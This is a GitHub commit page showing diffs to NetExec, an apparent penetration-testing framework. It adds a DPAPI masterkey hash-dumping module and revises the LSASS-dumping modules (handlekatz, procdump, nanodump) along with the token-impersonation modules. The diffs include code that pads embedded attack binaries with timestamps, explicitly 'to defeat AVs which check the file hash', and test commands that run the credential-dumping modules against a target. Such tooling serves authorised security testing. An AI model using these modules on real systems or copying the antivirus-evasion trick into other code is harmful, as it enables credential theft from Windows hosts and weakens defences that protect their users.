Skip to content

Commit

Permalink
Merge branch 'main' into marshall-get-gpos
Browse files Browse the repository at this point in the history
  • Loading branch information
Marshall-Hallenbeck authored Feb 7, 2025
2 parents 01185ff + 78c08df commit bd4264d
Show file tree
Hide file tree
Showing 14 changed files with 157 additions and 30 deletions.
4 changes: 2 additions & 2 deletions nxc/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,8 +103,8 @@ def gen_cli_args():
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--cert-pem", metavar="CERTPEM", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--key-pem", metavar="KEYPEM", help="Private key for the PEM format")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")

server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
Expand Down
2 changes: 1 addition & 1 deletion nxc/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -550,7 +550,7 @@ def login(self):
self.logger.info("Successfully authenticated using Kerberos cache")
return True

if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem:
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
Expand Down
4 changes: 2 additions & 2 deletions nxc/helpers/pfx.py
Original file line number Diff line number Diff line change
Expand Up @@ -496,8 +496,8 @@ def pfx_auth(self):
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.cert_pem and self.args.key_pem:
ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams)
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
Expand Down
63 changes: 63 additions & 0 deletions nxc/modules/dpapi_hash.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage

from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection

# Based on dpapimk2john, original work by @fist0urs

class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True

def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]

def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")

target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)

conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return

try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)

except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
28 changes: 18 additions & 10 deletions nxc/modules/handlekatz.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
import base64
import re
import sys

from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz

Expand Down Expand Up @@ -34,6 +34,8 @@ def options(self, context, module_options):
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()

if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
Expand All @@ -50,7 +52,7 @@ def options(self, context, module_options):

def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz

if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
Expand Down Expand Up @@ -78,6 +80,7 @@ def on_admin_login(self, context, connection):

if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
Expand All @@ -96,12 +99,15 @@ def on_admin_login(self, context, connection):
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False

if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return

machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
Expand All @@ -113,12 +119,7 @@ def on_admin_login(self, context, connection):
except Exception as e:
context.log.fail(f"Error while get file: {e}")

try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")

self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
Expand Down Expand Up @@ -182,3 +183,10 @@ def on_admin_login(self, context, connection):
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")

def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
7 changes: 6 additions & 1 deletion nxc/modules/impersonate.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
from base64 import b64decode
from os import path
import sys

from datetime import datetime
from nxc.paths import DATA_PATH


Expand All @@ -29,8 +29,13 @@ def options(self, context, module_options):
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""

with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())

# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()

if "EXEC" in module_options:
self.cmd = module_options["EXEC"]

Expand Down
9 changes: 8 additions & 1 deletion nxc/modules/nanodump.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,10 @@ def options(self, context, module_options):
self.nano = "nano.exe"
self.nano_path = ""
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
self.nano_embedded64 += padding
self.nano_embedded32 += padding

if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
Expand Down Expand Up @@ -149,7 +153,10 @@ def on_admin_login(self, context, connection):
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False

if dump:
if not dump:
self.delete_nanodump_binary()
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
Expand Down
6 changes: 5 additions & 1 deletion nxc/modules/pi.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile

from datetime import datetime
from nxc.paths import DATA_PATH, TMP_PATH


Expand All @@ -25,9 +25,13 @@ def options(self, context, module_options):
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""

with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())

# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()

if "EXEC" in module_options:
self.cmd = module_options["EXEC"]

Expand Down
24 changes: 16 additions & 8 deletions nxc/modules/procdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,11 @@

import base64
import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
from datetime import datetime


class NXCModule:
Expand All @@ -35,6 +35,8 @@ def options(self, context, module_options):
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()

if "PROCDUMP_PATH" in module_options:
self.procdump_path = module_options["PROCDUMP_PATH"]
Expand Down Expand Up @@ -79,15 +81,18 @@ def on_admin_login(self, context, connection):
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")

if dump:
if not dump:
self.delete_procdump_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ""
if matches:
machine_name = matches.group()
else:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return

context.log.display(f"Copy {machine_name} to host")

Expand All @@ -98,11 +103,7 @@ def on_admin_login(self, context, connection):
except Exception as e:
context.log.fail(f"Error while get file: {e}")

try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
self.delete_procdump_binary(connection, context)

try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
Expand Down Expand Up @@ -152,3 +153,10 @@ def on_admin_login(self, context, connection):
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error openning dump file", str(e))

def delete_procdump_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
3 changes: 3 additions & 0 deletions nxc/protocols/ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -590,6 +590,9 @@ def check_if_admin(self):
for attribute in item["attributes"]:
if str(attribute["type"]) == "distinguishedName":
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
if len(answers) == 0:
self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.")
return

# 3. get member of these groups
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
Expand Down
30 changes: 26 additions & 4 deletions nxc/protocols/smb.py
Original file line number Diff line number Diff line change
Expand Up @@ -319,7 +319,7 @@ def print_host_info(self):
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")

if self.args.generate_hosts_file:
if self.args.generate_hosts_file or self.args.generate_krb5_file:
from impacket.dcerpc.v5 import nrpc, epm
self.logger.debug("Performing authentication attempts...")
isdc = False
Expand All @@ -329,9 +329,31 @@ def print_host_info(self):
except DCERPCException:
self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!")

with open(self.args.generate_hosts_file, "a+") as host_file:
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
if self.args.generate_hosts_file:
with open(self.args.generate_hosts_file, "a+") as host_file:
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
elif self.args.generate_krb5_file and isdc:
with open(self.args.generate_krb5_file, "w+") as host_file:
data = f"""
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = { self.domain.upper() }
[realms]
{ self.domain.upper() } = {{
kdc = { self.hostname.lower() }.{ self.domain }
admin_server = { self.hostname.lower() }.{ self.domain }
default_domain = { self.domain }
}}
[domain_realm]
.{ self.domain } = { self.domain.upper() }
{ self.domain } = { self.domain.upper() }
"""
host_file.write(data)
self.logger.debug(data)

return self.host, self.hostname, self.targetDomain

Expand Down
1 change: 1 addition & 0 deletions nxc/protocols/smb/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
self_delegate_arg.make_required = [delegate_arg]

cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
Expand Down
3 changes: 3 additions & 0 deletions nxc/protocols/smb/smbexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -124,7 +124,10 @@ def execute_remote(self, data):
try:
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except Exception:
pass

try:
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
Expand Down
3 changes: 3 additions & 0 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
netexec -h
##### SMB
netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
Expand Down Expand Up @@ -65,6 +66,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
Expand Down

0 comments on commit bd4264d

Please sign in to comment.